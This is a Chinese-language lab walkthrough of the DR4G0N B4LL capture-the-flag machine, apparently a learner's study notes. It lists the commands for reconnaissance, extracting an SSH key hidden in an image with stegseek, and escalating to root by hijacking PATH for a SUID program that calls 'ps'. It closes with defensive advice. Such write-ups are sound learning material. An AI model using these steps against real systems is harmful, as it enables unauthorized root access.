渗透学习第一天:DR4G0N B4LL靶场复现
字数 1223 2025-08-18 17:33:05
DR4G0N B4LL靶场渗透复现教学文档
0x00 环境准备
攻击机配置
- 操作系统:Kali Linux
- IP地址:192.168.71.129
靶机信息
- 网络环境:与Kali同网段
- 初始IP未知,需通过扫描发现
0x01 信息收集阶段
1. 网络扫描
使用ARP扫描发现靶机IP:
arp-scan -l
- 发现目标IP:192.168.71.130
2. 端口扫描
使用nmap进行端口扫描:
nmap -sV 192.168.71.130
- 开放端口:
- 22/tcp - SSH服务
- 80/tcp - HTTP服务
0x02 Web渗透阶段
1. 初步网站分析
- 访问http://192.168.71.130
- 发现七龙珠介绍页面,提示为CTF环境
2. 源代码分析
查看网页源代码发现:
- 三层Base64编码的字符串
- 解码步骤:
echo "初始Base64字符串" | base64 -d | base64 -d | base64 -d - 最终解码结果:"DRAGON BALL"
3. Robots.txt检查
访问http://192.168.71.130/robots.txt
- 发现另一Base64编码信息
- 解码后内容:"you find the hidden dir"
4. 目录发现
- 访问http://192.168.71.130/DRAGON_BALL/
- 发现内容:
- vulnhub/目录
- secret.txt文件
secret.txt分析
- 包含多个疑似用户名和密码的组合
- 测试发现均为404无效路径
vulnhub目录内容
- aj.jpg图片文件
- login.html页面
5. 图片隐写分析
使用stegseek工具分析aj.jpg:
wget http://192.168.71.130/DRAGON_BALL/vulnhub/aj.jpg
stegseek aj.jpg /usr/share/wordlists/rockyou.txt
- 注意:需先解压rockyou.txt.gz
- 提取出aj.jpg.out文件,内容为SSH私钥
6. SSH私钥处理
- 检查私钥权限:
chmod 600 aj.jpg.out
- 尝试SSH连接:
ssh -i aj.jpg.out root@192.168.71.130 # 需要密码
ssh -i aj.jpg.out xmen@192.168.71.130 # 成功登录
0x03 权限提升阶段
1. 初始信息收集
登录xmen用户后:
- 发现文件:
- local.txt(假flag)
- script/目录
script目录内容
- demo.c:C语言源代码
- shell:可执行文件
2. 代码分析
demo.c内容分析:
// 设置进程UID和GID为root
setuid(0);
setgid(0);
// 调用ps命令查看进程状态
system("ps");
3. 环境变量劫持提权
- 创建恶意ps文件:
echo "/bin/bash" > ps
chmod +x ps
- 修改PATH环境变量:
export PATH=/home/xmen:$PATH
- 执行漏洞程序:
/script/shell
- 成功获取root shell
4. 获取flag
进入root家目录查看flag:
cd /root
cat flag.txt
0x04 技术总结
关键知识点
-
信息收集:
- ARP扫描发现同网段主机
- 端口扫描确定服务
- 网页源代码和robots.txt检查
-
Web渗透:
- Base64多层解码技巧
- 目录爆破与敏感文件发现
- 图片隐写分析技术
-
权限提升:
- SSH私钥利用
- 环境变量PATH劫持
- SUID程序滥用
-
工具使用:
- arp-scan
- nmap
- stegseek
- chmod处理私钥权限
防御建议
- 避免在网页中遗留敏感信息
- 严格控制文件权限,特别是私钥文件
- 谨慎设置SUID程序
- 在调用系统命令时使用绝对路径
- 定期检查服务器上的异常文件和目录
参考资源
- CSDN博客参考
- Stegseek工具使用文档
- Linux权限提升技术手册